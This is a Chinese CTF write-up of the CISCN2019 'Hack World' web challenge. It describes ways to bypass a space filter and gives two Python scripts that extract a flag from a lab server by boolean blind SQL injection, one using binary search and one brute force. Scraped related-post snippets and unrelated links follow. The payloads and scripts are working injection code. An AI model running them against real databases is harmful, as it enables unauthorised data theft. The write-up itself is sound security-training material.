[CISCN2019 华北赛区 Day2 Web1]Hack World(二分法写布尔注入脚本)
记一道布尔注入的题,存在过滤字符。
从题目看应该是一道注入题。提示存在flag表flag列。
输入1和2的返回结果不一样,可能是布尔注入。
简单用万能密码尝试了一下。提示SQL Injection Checked。显然是存在过滤的。FUZZ测试:

好像并没有过滤掉很多的东西。ascii和substr都存在,但是空格被过滤了。
绕过空格的方法:
1、注释绕过
/**/
/*!*/
2、括号绕过
3、HTML编码绕过
常用的URL编码中,会把空格编码成%20,所以通过浏览器发包,进行的URL编码中,空格被编码成%20,而这是属于HTML编码中从 %00 到 %8F的范围,但在HTML编码中,还有一个编码可以取代空格,也就是%a0。
我们这里因为没过滤掉括号我们自己括号绕过空格。
这里应用一下大佬的脚本https://www.cnblogs.com/20175211lyz/p/11435298.html
import string
import requests
import string
url = "http://29358cad-60be-4902-8aef-31e2f5a30721.node3.buuoj.cn/index.php"
result = ""
right = "Hello"
for i in range(1,50):
high = 127
low = 32
mid = (low+high) // 2 #找中间数
while high>low:
payload = "if(ascii(substr((select(flag)from(flag)),%s,1))>%s,1,2)"%(i,mid)
date = {"id":payload}
repos = requests.post(url,data=date)
if right in repos.text:
low = mid + 1 #假如返回的字符串中有Hello,即flag的某个字符的ascii码比中间数大,我们要增大中间数
else:
high = mid #假如返回的字符串中没有Hello,即flag的某个字符的ascii码比中间数小,我们要把最大数调整到原来的中间数位置
mid = (low+high) //2
result += chr(int(mid)) #中间数不一定是整数,用int转成整数
print(result)
下面是自己写的。如果有大师傅看到这篇文章,指点一下小弟,下面是自己写的脚本能跑,但是有点问题。
flag{eb683c48e1a849f79d3ff65e693f9551} //自己跑出来的flag
flag{eb683c48-e1a8-49f7-9d3f-f65e693f9551} //别人脚本跑出来的flag,这个是正确的
自己写的脚本跑不出“-”这个字符。其他的字母和数字是一样的。
import requests
import string
url="http://29358cad-60be-4902-8aef-31e2f5a30721.node3.buuoj.cn/index.php"
dic = string.digits+string.ascii_letters+"!@#$%^&*()_=+{}-"
result =""
for i in range(1,60):
for each in dic:
payload = "if((ascii(substr((select(flag)from(flag)),%s,1))=ascii('%s')),1,2)"%(i,each)
print(payload)
date = {"id":payload}
rep = requests.post(url=url,data=date)
if "Hello" in rep.text:
print(each)
result += each
print(result)
break
print(result)
[CISCN2019 华北赛区 Day2 Web1]Hack World(二分法写布尔注入脚本)的更多相关文章
- 刷题记录:[CISCN2019 华北赛区 Day2 Web1]Hack World
目录 刷题记录:[CISCN2019 华北赛区 Day2 Web1]Hack World 一.前言 二.正文 1.解题过程 2.解题方法 刷题记录:[CISCN2019 华北赛区 Day2 Web1] ...
- BUUCTF | [CISCN2019 华北赛区 Day2 Web1]Hack World
id=0 id=1 id=2 id=3 发现结果不一样,尝试 : ">4","=4","<4" : 在自己的环境下验证一下: 爆 ...
- BUUOJ [CISCN2019 华北赛区 Day2 Web1]Hack World
补一下这道题,顺便发篇博客 不知道今年国赛是什么时候,菜鸡还是来刷刷题好了 0X01 考点 SQL注入.盲注.数字型 0X02自己尝试 尝试输入1 赵师傅需要女朋友吗???随便都能有好吧 输入2 ?? ...
- [CISCN2019 华北赛区 Day2 Web1]Hack World
知识点:题目已经告知列名和表明为flag,接下来利用ascii和substr函数即可进行bool盲注 eg: id=(ascii(substr((select(flag)from(flag)),1,1 ...
- 刷题[CISCN2019 华北赛区 Day2 Web1]Hack World
解题思路 打开发现是很简单的页面,告诉了表名和列名,只需知道字段即可 尝试一下,输入1,2都有内容,后面无内容.输入1'让他报错,发现返回bool(false) 大概思路就是布尔型注入了,通过不断返回 ...
- [CISCN2019 华北赛区 Day2 Web1]Hack World 1详解
打开题目, 我们开始尝试注入, 输入0回显Error Occured When Fetch Result. 输入1回显Hello, glzjin wants a girlfriend. 输入2回显Do ...
- 刷题记录:[CISCN2019 华北赛区 Day1 Web1]Dropbox
目录 刷题记录:[CISCN2019 华北赛区 Day1 Web1]Dropbox 一.涉及知识点 1.任意文件下载 2.PHAR反序列化RCE 二.解题方法 刷题记录:[CISCN2019 华北赛区 ...
- PHAR伪协议&&[CISCN2019 华北赛区 Day1 Web1]Dropbox
PHAR:// PHP文件操作允许使用各种URL协议去访问文件路径:如data://,php://,等等 include('php://filter/read=convert.base64-encod ...
- BUUCTF | [CISCN2019 华北赛区 Day1 Web1]Dropbox
步骤: 1.运行这个: <?php class User { public $db; } class File { public $filename; } class FileList { pr ...
随机推荐
- Swagger/OpenAPI By Swashbuckle在NetCore 3.1中较NetCore 2.2使用的注意事项及入门
方案选择 使用Web API时,了解其各种方法对开发人员来说可能是一项挑战. Swagger也称为OpenAPI(Open Application Programming Interface,开放应用 ...
- UV贴图类型
凹凸贴图Bump Map.法线贴图Normal Map.高度贴图Height map.漫反射贴图Diffuse Map.高光贴图Specular Map.AO贴图Ambient Occlusion ...
- linux密码策略
1.密码过期策略 # vim /etc/login.defs PASS_MAX_DAYS 99999 # 一个密码最长可以使用的天数: PASS_MIN_DAYS 0 # 更换密码的最小天数: PAS ...
- 15、docker
15.0.服务器使用说明: 服务器名称 ip地址 controller-node1 172.16.1.90 15.1.docker介绍: 1.Docker 是一个开源的应用容器引擎,基于 Go 语言 ...
- CRM系统对企业管理的作用有多大?
随着市场经济的发展,对任何行业的企业来说,客户都是非常重要的一个部分.CRM系统帮助企业做到以客户为中心,它可以根据客户的具体要求进行跟进和反馈,在很大程度上提高公司的客户服务水平和客户满意度,进而提 ...
- XSS challenges 1-10
学长发的xss靶场,刚好js学完了,上手整活. 这个提示说非常简单,直接插入就完事了 <script>alert(document.domain)</script> 第二关. ...
- 5.Java流程控制
所有的流程控制语句都可以相互嵌套.互不影响 一.用户交互Scanner Scanner对象 之前我们学的基本语法中我们并没有实现程序和人的交互,但是Java给我们提供了这样一个工具类,我们可以获取用户 ...
- Java基础00-数组9
1. 数组定义格式 1.1 数组概述 1.2 什么是数组 1.3 数组定义格式 推荐使用第一种格式,因为第一种格式读法比较顺畅. 2. 数组初始化之动态初始化 2.1 数组初始化概述 2.2 数组初始 ...
- 1.在配置XML文件时出现reference file contains errors (http://www.springframework.org/schema/beans/...解决方案
解决方案: 第一步:将 Preferences > XML > XML Files > Validation中"Honour all XML schema location ...
- 【LeetCode】86. 分隔链表
86. 分隔链表 知识点:链表: 题目描述 给你一个链表的头节点 head 和一个特定值 x ,请你对链表进行分隔,使得所有 小于 x 的节点都出现在 大于或等于 x 的节点之前. 你应当 保留 两个 ...